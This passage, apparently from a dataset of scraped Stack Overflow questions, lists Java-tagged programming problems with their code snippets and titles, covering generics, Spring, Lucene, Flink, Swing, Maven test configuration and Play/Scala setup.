use three HashMap < String , Integer > to store the appearences of each cagetory/poi/author . And I use List < Item > selected to store the result.If there is already a selected element that has this poi , then the new element will be discarded.If there is already a selected element that has this author , then the new element will be discarded.If there are already three selected elements that have this category , then the new element will be discarded.If there are already two elements in the tail of selected that have this category , then the new element will be discarded.ProblemIt works when the input is large , but when the input is relatively small , it does not work . For example , when the input is Item1 ( Category A , Author 1 ) Item2 ( Category A , Author 2 ) Item3 ( Category A , Author 3 ) Item4 ( Category B , Author 2 ) Item5 ( Category C , Author 5 ) Item6 ( Category D , Author 6 ) Item7 ( Category E , Author 7 ) Item8 ( Category F , Author 8 ) Item9 ( Category G , Author 9 ) Item10 ( Category H , Author 10 ) Item11 ( Category I , Author 11 ) Then my solution will beItem3 discarded , because it has the same category as Item1 and Item2Item4 discarded , because it has the same author as Item2the 9 other elements remain.And this does not satisfy the select top 10 elements . The correct solution is discarding Item2 and only 10 elements should remain.QuestionI think my solution is just in the wrong direction . So I 'm looking for other solutions to deal with this problem . Any solution produces the desired output is appreciated .",class Item { double score ; String category ; String author ; String poi ; },Filtering list under limitations +Java,"I have the need to register a separate application event listener for each request . The listener 's purpose is to catch events coming in from other REST requests , while the listener 's request is blocked awaiting all the required events to come in.I have code such as this : This code receives events , but as soon as I uncomment the @ Scope annotation , it stops receiving events.Are request-scoped application event listeners supported , are they supposed to work ? If so , can I do something to make my listener work ?",@ Component// @ Scope ( WebApplicationContext.SCOPE_REQUEST ) public static class WhistleEventListener implements ApplicationListener < WhistleEvent > { volatile Consumer < WhistleEvent > handler ; @ Override public void onApplicationEvent ( WhistleEvent we ) { final Consumer < WhistleEvent > h = handler ; if ( h ! = null ) h.accept ( we ) ; } } @ Autowired WhistleEventListener whistleEventListener ;,Request-scoped ApplicationEventListener fails to receive events +Java,"The code shown below does output : [ b ] [ a , b ] However I would expect it to print two identical lines in the output.The spec clearly states that removeAll `` Removes all this collection 's elements that are also contained in the specified collection . `` So from my understanding current behavior is unpredictable . Please help me understand this","import java.util . * ; public class Test { static void test ( String ... abc ) { Set < String > s = new TreeSet < String > ( String.CASE_INSENSITIVE_ORDER ) ; s.addAll ( Arrays.asList ( `` a '' , `` b '' ) ) ; s.removeAll ( Arrays.asList ( abc ) ) ; System.out.println ( s ) ; } public static void main ( String [ ] args ) { test ( `` A '' ) ; test ( `` A '' , `` C '' ) ; } }",AbstractSet.removeAll ( ) method not working properly +Java,"I am reading the java tutorial about Wildcards in Generics . In the following code : Does this means the collection c take type object as its elements , and we can not call c.add ( `` apple '' ) , because `` apple '' is a string and the for loop takes any object elements from collection c ? But I do not understand the following code , This code uses wildcards , meaning `` a collection whose element type matches anything . '' Does this mean we can add any type of object to it , such as c.add ( `` string '' ) ; , c.add ( 1 ) ; , and c.add ( new apple ( ) ) ; ? and the for loop take any object e from collection c , if c is not an object type , we say c 's elements are Integer . Does this code works ? Does this mean it should be cast ?",void printCollection ( Collection < Object > c ) { for ( Object e : c ) { System.out.println ( e ) ; } } void printCollection ( Collection < ? > c ) { for ( Object e : c ) { System.out.println ( e ) ; } },How the wildcards works in Java +Java,"Having problems compiling sub classes of a base class that I 've defined that has a single method and each sub class implements the abstract base method , but javac is saying that they do n't even though it is quite clearly defined in the sub class.DbModel.java ( the base class ) DbModel extends Model , which only has a generic toString method.MenuPermissions.java ( the sub class ) Compilation ErrorAnyone see what the problem is here ? I 'm guessing that I 'm overlooking something really simple.Further info on requirements : I 'm building an entity framework that generates model objects from a given database . MenuPermissions above is one such model object ( auto-generated by a class that I 've written called GenerateModel ) . I want each model to have a method that will allow me to get a new instance of each objecct type based on a resultset , which will populate the object accordingly and return it . Ideally , it should be a static method , but I 've tried it as a concrete method for the moment as I need to enforce its existence in each sub class of DbModel . Hope that makes sense .","package com.manodestra.db ; import java.sql.ResultSet ; import java.sql.SQLException ; public abstract class DbModel < T extends DbModel > extends Model { abstract T newInstance ( ResultSet rs ) throws SQLException ; } package com.manodestra.csa.db.model.configNew ; import com.manodestra.db.DbModel ; import java.sql.Date ; import java.sql.ResultSet ; import java.sql.SQLException ; import java.sql.Time ; import java.sql.Timestamp ; public class MenuPermissions extends DbModel < MenuPermissions > { private final String menuId ; private final String userLevel ; public MenuPermissions ( String menuId , String userLevel ) { this.menuId = menuId ; this.userLevel = userLevel ; } public String getMenuId ( ) { return this.menuId ; } public String getUserLevel ( ) { return this.userLevel ; } public MenuPermissions newInstance ( ResultSet rs ) throws SQLException { return new MenuPermissions ( rs.getString ( `` menu_id '' ) , rs.getString ( `` user_level '' ) ) ; } } [ javac ] Compiling 487 source files to C : \Media\Code\manodestra_java\bin [ javac ] C : \Media\Code\manodestra_java\src\com\manodestra\csa\db\model\configNew\MenuPermissions.java:10 : error : MenuPermissions is not abstract and does not override abstract method newInstance ( ResultSet ) in DbModel [ javac ] public class MenuPermissions extends DbModel < MenuPermissions > { [ javac ] ^",Ca n't compile sub class that implements abstract method from base class +Java,Snack bar set action text `` Retry '' always shows in `` RETRY '',"snackbar = Snackbar .make ( view , `` No internet connection . `` , Snackbar.LENGTH_INDEFINITE ) .setAction ( `` Retry '' , new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { GlobalBus.getBus ( ) .post ( new EventbusEvents ( `` '' ) ) ; if ( isOnline ( context ) ) { snackbar.dismiss ( ) ; } else { showSnackBar ( view , context ) ; } } } ) ; ( context.getResources ( ) .getColor ( R.color.place_buy ) ) ; snackbar.show ( ) ;",snack bar set action Text always return cap letters +Java,"So I have an interface - and have a class that implements itBut I now want to have an abstract layer where input type From is TimeIs it possible in Java ? I tried , Java treats Time as a generic name in AbstractTimeTranslator","public interface GenericTranslator < From , To > { To translate ( From from ) ; } public class TimeToStringTranslator implements GenericTranslator < Time , String > { String translate ( Time time ) { ... } } // an abstract class with partial generic definedpublic abstract class AbstractTimeTranslator < Time , To > implements GenericTranslator < Time , To > { @ Override To translate ( Time time ) { doSomething ( ) ; return translateTime ( time ) ; } protected abstract To translateTime ( Time time ) ; } // concrete classpublic class TimeToStringTranslator extends AbstractTimeTranslator < Time , String > { String translateTime ( Time time ) { ... . } }",Partial Generics in Java +Java,"I 'm asking for some opinions on referencing Java code ( in my case an enum value ) in a JSP.I currently have conditional logic in my JSP like : Now , 'complete ' is a value associated with an enum in my codebase . Would it be better to reference the enum inside my JSP ? If so , how ? I think it might be a good thing because : If the enum changes , then the JSP does n't break.Is it bad practice to mix Java code into the JSPs ? Or is it worse to duplicate the value of 'complete ' ? Thanks in advance .",< c : if test= '' $ { actionBean.order.status eq 'complete ' } '' > show some stuff < /c : if >,Best practice for referencing Java inside my JSPs +Java,"We 've got a set of classes which derive from a common set of interfaces such thatwherein the constructor for the Foo 's looks like Foo ( IBar , IYelp ) These items are used throughout the project.There exists another class which has a method whose signature is public double CalcSomething ( IFoo , IAnotherClass ) that is applied at some point to each and every Foo . We 've had a request come down from above that one particular object composition , let 's say a BasicFoo ( UpBar , Yip ) , use a different algorithm other than the one found in CalcSomething.My first instinct was to say let 's change the IFoo interface so we can move the logic down to the Foo class level , change the constructor to be Foo ( IBar , IYelp , IStrategy ) and then have the Foo objects encapsulate this logic . Unfortunately we 've also been told the design of the architecture stipulates that there be no dependencies between IFoo , it 's implementations and IAnotherClass . They 're adamant about this.Ok , sure , then I thought I might use a visitor pattern but ... how ? The whole point of making the composition was so that no other class could see the implementation details . Reflection to look inside the objects , totally breaking encapsulation ? Oh hell no.So I 've come here because I 'm at a loss . Does anyone have any suggestions how we could treat a special case of one of the compositions without modifying the composition or breaking encapsulation ? There has got to be a simple solution I 'm over-looking.Edit : Removed offending beginning.Changed `` handled specially '' into a more descriptive meaning .","IFoo- > BasicFoo , ReverseFoo , ForwardFooIBar - > UpBar , DownBar , SidewaysBarIYelp - > Yip , Yap , Yup",Coding myself into a corner +Java,"I have a sitemap defined like this in Boot.scalaAlso I have a loggedInUser defined in Boot.scala like thisWhen I have a user log in , I want them to change my loggedInUser to be the username that they successfully logged in as.Is this an okay way to deal with logging in users ? Where should I keep my loggedInUser object . Boot.scala ? Somewhere else ? How do I update loggedInUser so that he will now work to show the `` loggedinstuff '' page ?","def sitemap ( ) = SiteMap ( Menu ( S ? `` Home '' ) / `` index '' , Menu ( S ? `` Login '' ) / `` login '' , Menu ( S ? `` Do Logged in Stuff '' ) / `` loggedinstuff '' > > If ( ( ) = > loggedInUser.is ! = Empty , `` You must be logged in '' ) ) object loggedInUser extends SessionVar [ Box [ String ] ] ( Empty )",Lift tracking a logged in user +Java,"So I have code that currently looks like thisI changed it to this ( TransactionType is an enum with roughly 30 values in it ) The results shocked me . In all of my tests , the second was an order of magnitude faster . I expected maybe 2x faster , but not an order of magnitude . Why the difference ? Is it the nullcheck that is that much slower or is something strange happening with the extra array access ? My benchmark code looks like thisHere are the results of the benchmark runningThis is using Oracle JDK 1.7.0.67","public boolean in ( TransactionType ... types ) { if ( types == null || types.length == 0 ) return false ; for ( int i = 0 ; i < types.length ; ++i ) if ( types [ i ] ! = null & & types [ i ] == this ) return true ; return false ; } public boolean in ( TransactionType ... types ) { if ( types == null || types.length == 0 ) return false ; for ( int i = 0 ; i < types.length ; ++i ) if ( types [ i ] == this ) return true ; return false ; } public class App { public enum TransactionType { A ( 1 , `` A '' , `` A '' ) , B ( 3 , `` B '' , `` B '' ) , C ( 5 , `` C '' , `` C '' ) , D ( 6 , `` D '' , `` D '' ) , E ( 7 , `` E '' , `` E '' ) , F ( 8 , `` F '' , `` F '' ) , G ( 9 , `` G '' , `` G '' ) , H ( 10 , `` H '' , `` H '' ) , I ( 11 , `` I '' , `` I '' ) , J ( 12 , `` J '' , `` J '' ) , K ( 13 , `` K '' , `` K '' ) , L ( 14 , `` L '' , `` L '' ) , M ( 15 , `` M '' , `` M '' ) , N ( 16 , `` N '' , `` N '' ) , O ( 17 , `` O '' , `` O '' ) , P ( 18 , `` P '' , `` P '' ) , Q ( 19 , `` Q '' , `` Q '' ) , R ( 20 , `` R '' , `` R '' ) , S ( 21 , `` S '' , `` S '' ) , T ( 22 , `` T '' , `` T '' ) , U ( 25 , `` U '' , `` U '' ) , V ( 26 , `` V '' , `` V '' ) , W ( 27 , `` W '' , `` W '' ) , X ( 28 , `` X '' , `` X '' ) , Y ( 29 , `` Y '' , `` Y '' ) , Z ( 30 , `` Z '' , `` Z '' ) , AA ( 31 , `` AA '' , `` AA '' ) , AB ( 32 , `` AB '' , `` AB '' ) , AC ( 33 , `` AC '' , `` AC '' ) , AD ( 35 , `` AD '' , `` AD '' ) , AE ( 36 , `` AE '' , `` AE '' ) , AF ( 37 , `` AF '' , `` AF '' ) , AG ( 38 , `` AG '' , `` AG '' ) , AH ( 39 , `` AH '' , `` AH '' ) , AI ( 40 , `` AI '' , `` AI '' ) , AJ ( 41 , `` AJ '' , `` AJ '' ) , AK ( 42 , `` AK '' , `` AK '' ) , AL ( 43 , `` AL '' , `` AL '' ) , AM ( 44 , `` AM '' , `` AM '' ) , AN ( 45 , `` AN '' , `` AN '' ) , AO ( 46 , `` AO '' , `` AO '' ) , AP ( 47 , `` AP '' , `` AP '' ) ; public final static TransactionType [ ] aArray = { O , Z , N , Y , AB } ; public final static TransactionType [ ] bArray = { J , P , AA , L , Q , M , K , AE , AK , AF , AD , AG , AH } ; public final static TransactionType [ ] cArray = { S , U , V } ; public final static TransactionType [ ] dArray = { A , B , D , G , C , E , T , R , I , F , H , AC , AI , AJ , AL , AM , AN , AO } ; private int id ; private String abbrev ; private String name ; private TransactionType ( int id , String abbrev , String name ) { this.id = id ; this.abbrev = abbrev ; this.name = name ; } public boolean in ( TransactionType ... types ) { if ( types == null || types.length == 0 ) return false ; for ( int i = 0 ; i < types.length ; ++i ) if ( types [ i ] == this ) return true ; return false ; } public boolean inOld ( TransactionType ... types ) { if ( types == null || types.length == 0 ) return false ; for ( int i = 0 ; i < types.length ; ++i ) { if ( types [ i ] ! = null & & types [ i ] == this ) return true ; } return false ; } } public static void main ( String [ ] args ) { for ( int i = 0 ; i < 10 ; ++i ) bench2 ( ) ; for ( int i = 0 ; i < 10 ; ++i ) bench1 ( ) ; } private static void bench1 ( ) { final TransactionType [ ] values = TransactionType.values ( ) ; long runs = 0 ; long currTime = System.currentTimeMillis ( ) ; while ( System.currentTimeMillis ( ) - currTime < 1000 ) { for ( TransactionType value : values ) { value.inOld ( TransactionType.dArray ) ; } ++runs ; } System.out.println ( `` old `` + runs ) ; } private static void bench2 ( ) { final TransactionType [ ] values = TransactionType.values ( ) ; long runs = 0 ; long currTime = System.currentTimeMillis ( ) ; while ( System.currentTimeMillis ( ) - currTime < 1000 ) { for ( TransactionType value : values ) { value.in ( TransactionType.dArray ) ; } ++runs ; } System.out.println ( `` new `` + runs ) ; } } new 20164901new 20084651new 45739657new 45735251new 45757756new 45726575new 45413016new 45649661new 45325360new 45380665old 2021652old 2022286old 2246888old 2237484old 2246172old 2268073old 2271554old 2259544old 2272642old 2268579",Why are my null checks so slow ? +Java,"As part of my Java course , I wrote a `` zip '' writer and reader - as Huffman algorithm works.My class extends Reader , and have an object Reader r.In my main method , I have these lines : It should return the decompressed string I wrote to the file , after decompressing it , of course . But it returns the first line of the file ! My read function : My Debug window shows this : It calls my read function twice . How can I stop the bufferReader from calling the read function again ?","input = new BufferedReader ( new HuffmanReader ( new FileReader ( `` output.hff '' ) ) ) ; String str = input.readLine ( ) ; public int read ( char [ ] cbuf , int off , int len ) throws IOException { // ... r.read ( buffer,0,8192 ) //does the decompress process String fnlStr = ... //The final result cbuf = fnlStr.toCharArray ( ) ; //close streams return cbuf.length ; } HuffmanReader.read ( char [ ] , int , int ) line : 23 BufferedReader.fill ( ) line : not available BufferedReader.readLine ( boolean ) line : not available BufferedReader.readLine ( ) line : not available Run.main ( String [ ] ) line : 23","Extending reader , how to return my `` read '' ?" +Java,"Consider the below WorkExperience class : let 's say I want to group by my skills by year , this is how we can do groupBy by year : groupBy is returning : Map < Integer , Set < List < Skills > > > but what I need is : Map < Integer , Set < Skills > > How to convert List stream into single Container ?","public class WorkExperience { private int year ; private List < Skills > skill ; public WorkExperience ( int year , List < Skills > skill ) { this.year = year ; this.skill = skill ; } //getter setter } public class Skills { private String skills ; public Skills ( String skills ) { this.skills = skills ; } @ Override public String toString ( ) { return `` Skills [ skills= '' + skills + `` ] '' ; } } public static void main ( String [ ] args ) { List < Skills > skillSet1 = new ArrayList < > ( ) ; skillSet1.add ( new Skills ( `` Skill-1 '' ) ) ; skillSet1.add ( new Skills ( `` Skill-2 '' ) ) ; skillSet1.add ( new Skills ( `` Skill-3 '' ) ) ; List < Skills > skillSet2 = new ArrayList < > ( ) ; skillSet2.add ( new Skills ( `` Skill-1 '' ) ) ; skillSet2.add ( new Skills ( `` Skill-4 '' ) ) ; skillSet2.add ( new Skills ( `` Skill-2 '' ) ) ; List < Skills > skillSet3 = new ArrayList < > ( ) ; skillSet3.add ( new Skills ( `` Skill-1 '' ) ) ; skillSet3.add ( new Skills ( `` Skill-9 '' ) ) ; skillSet3.add ( new Skills ( `` Skill-2 '' ) ) ; List < WorkExperience > workExperienceList = new ArrayList < > ( ) ; workExperienceList.add ( new WorkExperience ( 2017 , skillSet1 ) ) ; workExperienceList.add ( new WorkExperience ( 2017 , skillSet2 ) ) ; workExperienceList.add ( new WorkExperience ( 2018 , skillSet3 ) ) ; Map < Integer , Set < List < Skills > > > collect = workExperienceList.stream ( ) .collect ( Collectors.groupingBy ( WorkExperience : :getYear , Collectors.mapping ( WorkExperience : :getSkill , Collectors.toSet ( ) ) ) ) ; }",Convert List stream into single Container +Java,"I want to open a ftp browser at client site so that he can upload files in ftp.I am using window.open ( ) method to open the ftp in a child window.The ftp looks like this : [ 1 ] : http : //i.stack.imgur.com/T6WYg.jpgnow i want to track the user activity like directories he visited , and send the path to the jsp page how to do that ... ? ?","var windowObjectReference = window.open ( `` ftp : // '' + username + `` : '' + password + `` @ '' + server , _blank ' , toolbar=yes , location=yes , status=yes , scrollbars=auto , copyhistory=no , menubar=yes , width= 500px , height=500px , left=300px ) , top=100px , resizable=yes ' ) ;",Tracking user activity on window opened by window.open ( ) method +Java,"I have the following classI 've googled this problem and all the answers I could find told me to use getGenericSuperClass ( ) , but the problem of this method is that I must have a second class that extends MyClass and I do n't want to do this . What I need is to get the parametrized type of a concrete class ?",public class MyClass < T > { public Class < T > getDomainClass ( ) { GET THE CLASS OF T } },Getting the type of a parametrized class parameter ? +Java,I try to submit a job on Flink 1.4 and getting the following exception.Any idea how to solve the problem ?,"Caused by : org.apache.flink.runtime.client.JobExecutionException : Job execution failed.at org.apache.flink.runtime.jobmanager.JobManager $ $ anonfun $ handleMessage $ 1 $ $ anonfun $ applyOrElse $ 6.apply $ mcV $ sp ( JobManager.scala:897 ) at org.apache.flink.runtime.jobmanager.JobManager $ $ anonfun $ handleMessage $ 1 $ $ anonfun $ applyOrElse $ 6.apply ( JobManager.scala:840 ) at org.apache.flink.runtime.jobmanager.JobManager $ $ anonfun $ handleMessage $ 1 $ $ anonfun $ applyOrElse $ 6.apply ( JobManager.scala:840 ) at scala.concurrent.impl.Future $ PromiseCompletingRunnable.liftedTree1 $ 1 ( Future.scala:24 ) at scala.concurrent.impl.Future $ PromiseCompletingRunnable.run ( Future.scala:24 ) at akka.dispatch.TaskInvocation.run ( AbstractDispatcher.scala:39 ) at akka.dispatch.ForkJoinExecutorConfigurator $ AkkaForkJoinTask.exec ( AbstractDispatcher.scala:415 ) at scala.concurrent.forkjoin.ForkJoinTask.doExec ( ForkJoinTask.java:260 ) at scala.concurrent.forkjoin.ForkJoinPool $ WorkQueue.runTask ( ForkJoinPool.java:1339 ) at scala.concurrent.forkjoin.ForkJoinPool.runWorker ( ForkJoinPool.java:1979 ) at scala.concurrent.forkjoin.ForkJoinWorkerThread.run ( ForkJoinWorkerThread.java:107 ) Caused by : java.lang.VerifyError : Bad type on operand stackException Details : Location : org/apache/flink/formats/avro/utils/AvroKryoSerializerUtils.addAvroGenericDataArrayRegistration ( Ljava/util/LinkedHashMap ; ) V @ 23 : invokespecial Reason : Type 'org/apache/flink/api/java/typeutils/runtime/kryo/Serializers $ SpecificInstanceCollectionSerializerForArrayList ' ( current frame , stack [ 7 ] ) is not assignable to 'com/esotericsoftware/kryo/Serializer ' Current Frame : bci : @ 23flags : { } locals : { 'org/apache/flink/formats/avro/utils/AvroKryoSerializerUtils ' , 'java/util/LinkedHashMap ' } stack : { 'java/util/LinkedHashMap ' , 'java/lang/String ' , uninitialized 6 , uninitialized 6 , 'java/lang/Class ' , uninitialized 12 , uninitialized 12 , 'org/apache/flink/api/java/typeutils/runtime/kryo/Serializers $ SpecificInstanceCollectionSerializerForArrayList ' } Bytecode:0x0000000 : 2b12 05b6 000b bb00 0c59 1205 bb00 0d590x0000010 : bb00 0659 b700 0eb7 000f b700 10b6 00110x0000020 : 57b1 at java.lang.Class.getDeclaredConstructors0 ( Native Method ) at java.lang.Class.privateGetDeclaredConstructors ( Class.java:2671 ) at java.lang.Class.getConstructor0 ( Class.java:3075 ) at java.lang.Class.getConstructor ( Class.java:1825 ) at org.apache.flink.api.java.typeutils.AvroUtils.getAvroUtils ( AvroUtils.java:48 ) at org.apache.flink.api.java.typeutils.runtime.kryo.KryoSerializer.buildKryoRegistrations ( KryoSerializer.java:481 ) at org.apache.flink.api.java.typeutils.runtime.kryo.KryoSerializer. < init > ( KryoSerializer.java:119 ) at org.apache.flink.api.java.typeutils.GenericTypeInfo.createSerializer ( GenericTypeInfo.java:90 ) at org.apache.flink.api.java.typeutils.TupleTypeInfo.createSerializer ( TupleTypeInfo.java:107 ) at org.apache.flink.api.java.typeutils.TupleTypeInfo.createSerializer ( TupleTypeInfo.java:52 ) at org.apache.flink.api.java.typeutils.ListTypeInfo.createSerializer ( ListTypeInfo.java:102 ) at org.apache.flink.api.common.state.StateDescriptor.initializeSerializerUnlessSet ( StateDescriptor.java:253 ) at org.apache.flink.runtime.state.DefaultOperatorStateBackend.getListState ( DefaultOperatorStateBackend.java:520 ) at org.apache.flink.runtime.state.DefaultOperatorStateBackend.getUnionListState ( DefaultOperatorStateBackend.java:165 ) at org.apache.flink.streaming.connectors.kafka.FlinkKafkaConsumerBase.initializeState ( FlinkKafkaConsumerBase.java:692 ) at org.apache.flink.streaming.util.functions.StreamingFunctionUtils.tryRestoreFunction ( StreamingFunctionUtils.java:178 ) at org.apache.flink.streaming.util.functions.StreamingFunctionUtils.restoreFunctionState ( StreamingFunctionUtils.java:160 ) at org.apache.flink.streaming.api.operators.AbstractUdfStreamOperator.initializeState ( AbstractUdfStreamOperator.java:96 ) at org.apache.flink.streaming.api.operators.AbstractStreamOperator.initializeState ( AbstractStreamOperator.java:259 ) at org.apache.flink.streaming.runtime.tasks.StreamTask.initializeOperators ( StreamTask.java:694 ) at org.apache.flink.streaming.runtime.tasks.StreamTask.initializeState ( StreamTask.java:682 ) at org.apache.flink.streaming.runtime.tasks.StreamTask.invoke ( StreamTask.java:253 ) at org.apache.flink.runtime.taskmanager.Task.run ( Task.java:718 ) at java.lang.Thread.run ( Thread.java:748 )",Flink 1.4 AvroUtils error +Java,"We just found , a colleague and I , a strange compiling syntax with the If conditional syntax : Is there someone here for explaining to us this strange syntax ? Thx .",if ( true ) ; { foo ( ) ; },Obscure conditional Java Syntax +Java,"I have the following code , In string s , there are multiple ( indeterminate ) spaces ; but , I need to print it as % temp % Hello I 'm a % temp % multi spaced StringHow can I do this ?",String s = `` Hello I 'm a multi spaced String '',How do I insert a word if the string has more than one space in Java ? +Java,"I 'm using Lucene 3.0.3 . I 've made a Spring bean aiming to encapsulate all operations on the same index.In order to permit fast changes and searches , I thought leaving writer , reader and searcher open could be a good idea . But the problem is that commited changes on writer ca n't be seen by readers until reopen . And this operation can be costly , so maybe is not a good idea for fast searches.What would be the best approach for this typical scenario ?",public class IndexOperations { private IndexWriter writer ; private IndexReader reader ; private IndexSearcher searcher ; public void init ( ) { ... } public void destroy ( ) { ... } public void save ( Document d ) { ... } public void delete ( Document d ) { ... } public List < Document > list ( ) { ... } },Committed changes visibility in Lucene . Best practices +Java,"I 'm using the code from this stackOverflow post , which does what I expect : I tried to refactor it to the following code , which only loops through a couple of classes in javax.swing.plaf instead of the full set of components . I 've tried digging around the swing API and HashTable API , but I feel like I 'm still missing something obvious.Any ideas why the first block of code loops over and changes all font resources , while the second only loops over a handful of items ?","Enumeration < Object > keys = UIManager.getDefaults ( ) .keys ( ) ; while ( keys.hasMoreElements ( ) ) { Object key = keys.nextElement ( ) ; Object value = UIManager.get ( key ) ; if ( value instanceof FontUIResource ) { FontUIResource orig = ( FontUIResource ) value ; Font font = new Font ( orig.getFontName ( ) , orig.getStyle ( ) , orig.getSize ( ) ) ; UIManager.put ( key , new FontUIResource ( font ) ) ; } } for ( Object key : UIManager.getDefaults ( ) .keySet ( ) ) { Object value = UIManager.get ( key ) ; if ( value instanceof FontUIResource ) { FontUIResource orig = ( FontUIResource ) value ; Font font = new Font ( orig.getFontName ( ) , orig.getStyle ( ) , orig.getSize ( ) ) ; UIManager.put ( key , new FontUIResource ( font ) ) ; } }",Why does UIManager.getDefaults ( ) .keySet ( ) return different values than UIManager.getDefaults ( ) .keys ( ) ? +Java,"What is better in for loopThis : or : Let 's just say that someMethod ( ) returns something large.First method will execute someMethod ( ) in each loop thus decreasing speed , second is faster but let 's say that there are a lot of similar loops in application so declaring a variable vill consume more memory.So what is better , or am I just thinking stupidly .",for ( int i = 0 ; i < someMethod ( ) ; i++ ) { //some code } int a = someMethod ( ) ; for ( int i = 0 ; i < a ; i++ ) { //some code },Java for loop performance +Java,"So I have this method that get executed repeatedlyThis method using anonymous class that will create a new instance of FilenameFilter every time invoked and I invoke this method a lot . So I want to make this anonymous class into a singleton . So my initial thought is to create a new singleton class that look like thisCan I refactor this a bit more . I need to do ZipFileNameFilter as well , and maybe many different file extension filter . Dont want to create a class for each filter . I need to refactor this design a bit more . Maybe interface come into place somewhere here .","public static boolean isReady ( String dirPath , int numPdfInPrintJob ) { File dir = new File ( dirPath ) ; String [ ] fileList = dir.list ( new FilenameFilter ( ) { public boolean accept ( File file , String filename ) { return ( filename.toLowerCase ( ) .endsWith ( `` .pdf '' ) ) ; } } ) ; if ( fileList.length > = numPdfInPrintJob ) return true ; else return false ; } public class PdfFileNameFilter implements FilenameFilter { private PdfFileNameFilter ( ) { } //non-instantible //guarantee to only have one instance at all time public static final PdfFileNameFilter INSTANCE = new PdfFileNameFilter ( ) ; public boolean accept ( File dir , String name ) { return ( name.toLowerCase ( ) .endsWith ( `` .pdf '' ) ) ; } }",Reduce memory foot print by replace anonymous class with singleton . But need to refactor the design more +Java,"I am writing unit tests on a large project which I need to pass JVM arguments to , those are my JVM arguments built into the Eclipse run configuration for that project : My issue is that I need to add those arguments for EVERY JUnit test or testing sequence . Is there a better approach for this ? Some way to not have to add those arguments manually into every new test I create ? ******EDIT******This also has the nasty side-effect of not letting me build this project at all ! Maven does not use my custom JUnit run config for running the entire set of tests for the application ( which works fine because I set the JVM arguments in there ) but rather its own which obviously fails because the arguments are not there . That is a huge problem , is there a way to `` hardcode '' those JVM arguments directly into the POM somehow ? ******EDIT 2******This is my Spring-Boot-Maven-Plugin config in my POM.xml file : ******SOLUTION******Adding the Maven Surefire plugin and setting it up this way fixed the issue : Thanks !",-- module-path lib/javafx-sdk-13.0.2/lib -- add-modules=javafx.controls-javaagent : lib/aspectjweaver-1.9.5.jar -javaagent : lib/spring-instrument-5.2.3.RELEASE.jar < plugin > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-maven-plugin < /artifactId > < executions > < execution > < goals > < goal > repackage < /goal > < /goals > < /execution > < /executions > < configuration > < jvmArguments > -- module-path lib/javafx-sdk-13.0.2/lib -- add-modules=javafx.controls -javaagent : lib/aspectjweaver-1.9.5.jar -javaagent : lib/spring-instrument-5.2.3.RELEASE.jar < /jvmArguments > < /configuration > < /plugin > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-surefire-plugin < /artifactId > < executions > < execution > < goals > < goal > test < /goal > < /goals > < /execution > < /executions > < configuration > < argLine > -- module-path lib/javafx-sdk-13.0.2/lib -- add-modules=javafx.controls -javaagent : lib/aspectjweaver-1.9.5.jar -javaagent : lib/spring-instrument-5.2.3.RELEASE.jar < /argLine > < /configuration > < /plugin >,How to integrate Spring Instrument javaagent in ALL JUnit tests +Java,"I 'm implementing a faster BigInt implementation and I 'm not sure on how far I should go to provide interop with the underlying platform.Today BigInt just wraps a BigInteger and the value bigInteger just returns the wrapped value : Because I 'm not wrapping a Java type , I would have to do something likeCan this cause trouble or is there a better way to do it ?","class BigInt ( val bigInteger : BigInteger ) ... final class BigInt private ( final val signum : Int , final private [ math ] val arr : Array [ Int ] ) def bigInteger : java.math.BigInteger = { // Avoid copying of potentially large arrays . val ctor = classOf [ java.math.BigInteger ] .getDeclaredConstructor ( classOf [ Array [ Int ] ] , classOf [ Int ] ) ctor setAccessible true ctor.newInstance ( arr , signum.asInstanceOf [ Object ] ) } ... }",Which problems do I have to expect when using Reflection to interface with java.math.BigInteger ? +Java,"With my favorite IDE ( i.e . Eclipse ) , I wanted to see the source code of the above clone ( ) method by Ctrl-clicking on it ( as usual ) , but it brought me to the Object 's native one , which provides only the signature and not the body of the method.The autocomplete told me that the said clone ( ) method belonged to the String class ( clone ( ) : String [ ] - String ) , but the source code of the String class does n't provide such a method ( since I 'm dealing with the String [ ] class ... ) .So , where is that implementation hiding ? Should the autocomplete be fixed ?","new String [ ] { `` foo '' , `` bar '' } .clone ( ) ;",In quest of source code : where is the clone ( ) method of arrays implemented ? +Java,I 'm following the algorithm 1 in this article to check if a point is inside a triangle . This is my code : And this is my test : Cyan zone : The real triangle I give.Pink zone : `` Inside '' the triangleBlue Zone : `` Outside '' the triangleEDIT : This is my new code to calculate by vectors : Please clarify my code . Thank you .,"//========================================================================================================================//// Methods//========================================================================================================================//private float getPerpDotProduct ( final PointF p1 , final PointF p2 ) { return p1.x * p2.y - p1.y * p2.x ; } private boolean isInside ( final PointF pPoint ) { final float c1 = this.getPerpDotProduct ( this.mA , pPoint ) ; final float c2 = this.getPerpDotProduct ( this.mB , pPoint ) ; final float c3 = this.getPerpDotProduct ( this.mC , pPoint ) ; return ( ( c1 > = 0 & & c2 > = 0 & c3 > = 0 ) || ( c1 < = 0 & & c2 < = 0 & & c3 < = 0 ) ) ; } private PointF getVector ( final PointF pPoint1 , final PointF pPoint2 ) { return new PointF ( pPoint2.x - pPoint1.x , pPoint2.y - pPoint1.y ) ; } private float getPerpDotProduct ( final PointF p1 , final PointF p2 ) { return p1.x * p2.y - p1.y * p2.x ; } private boolean isInside ( final PointF pPoint ) { final float c1 = this.getPerpDotProduct ( getVector ( this.mA , this.mB ) , getVector ( this.mA , pPoint ) ) ; final float c2 = this.getPerpDotProduct ( getVector ( this.mB , this.mC ) , getVector ( this.mB , pPoint ) ) ; final float c3 = this.getPerpDotProduct ( getVector ( this.mC , this.mA ) , getVector ( this.mC , pPoint ) ) ; return ( ( c1 > 0 & & c2 > 0 & c3 > 0 ) || ( c1 < 0 & & c2 < 0 & & c3 < 0 ) ) ; }",Bug when implement `` check point inside triangle '' algorithm +Java,"After moving to Catalina and re-installing everything , no way to run my Play Scala app.After doing sbt then run , I get this error : Everything was installed with brew from this brewfile ( I did n't paste the complete file ) : Java version : sbt : 0.13.18play : 2.6.20os x : 10.15.3 ( 19D76 )","[ warn ] Error loading JNotify watch service : null tap `` AdoptOpenJDK/openjdk '' # Mac appscask `` adoptopenjdk8 '' brew `` sbt @ 0.13 '' brew `` jenv '' openjdk version `` 1.8.0_242 '' OpenJDK Runtime Environment ( AdoptOpenJDK ) ( build 1.8.0_242-b08 ) OpenJDK 64-Bit Server VM ( 